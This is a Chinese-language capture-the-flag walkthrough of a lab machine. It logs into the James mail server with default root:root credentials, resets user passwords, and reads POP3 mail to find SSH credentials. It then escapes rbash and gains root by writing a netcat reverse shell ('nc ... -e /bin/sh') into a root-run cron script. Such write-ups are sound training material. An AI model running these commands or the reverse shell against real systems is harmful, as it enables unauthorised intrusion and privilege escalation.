1.信息收集
靶机ip:192.168.71.137
端口扫描
有开放一些不常见的端口。
Web枚举
这里找到了一个邮箱,用户名为webadmin,可能后面会有用。
查看源码和目录扫描没有查出新的东西。
2.James Web管理服务默认弱口令
连接4555端口,看到这里是JAMES远程管理工具,需要用户名和密码登录。
JAMES看上去是一个人名,所以我一开始以为这是设置的主机名而已,但查资料后才发现这是一个名为JAMES的Web邮件代理服务器。它的默认口令为root:root。
然后输入“HELP”查看可用命令,然后输入“listusers”显示全部账号:
由于是用root登录,拥有最高权限,可以用“setpassword”命令重置用户的密码。
3.POP3邮件泄露账密
重置全部用户名和密码后,利用修改后的账号连接110端口,查看pop3邮件内容。
在mindy邮箱中发现了两封邮件,在第二封中发现了账密信息:
用mindy:P@55W0rd1!2@登录ssh。
4.pspy提权
这里出现一个不常见的shell类型:rbash,它不允许执行id命令。
可以通过在ssh连接命令后加’sh’来绕过:
ssh mindy@192.168.71.137 sh
再转成bash终端:
python3 -c "import pty;pty.spawn('/bin/bash')"
在当前路径下找到user flag:
利用pspy对进程进行监控,将pspy上传至靶机:
执行pspy:
chmod +x pspy && ./pspy -p -i 1000
-p:启用输出命令到标准输出(默认启用)
-f:启用将文件系统事件打印到STDOUT(默认禁用)
-i:两次扫描procfs的时间间隔(单位:毫秒)
tmp.py脚本定期执行,删除/tmp文件夹内的文件:
编辑这个脚本:
echo "import os
os.system('nc 192.168.71.129 4444 -e /bin/sh')" > /opt/tmp.py
成功获取root反弹shell,得到root权限flag。
5.总结
通过本靶机接触了一个新的应用:James,该应用存在默认弱口令。
其他考察的点包括:
- POP3的命令;
- rbash类型的shell转换为bash;
- pspy提权。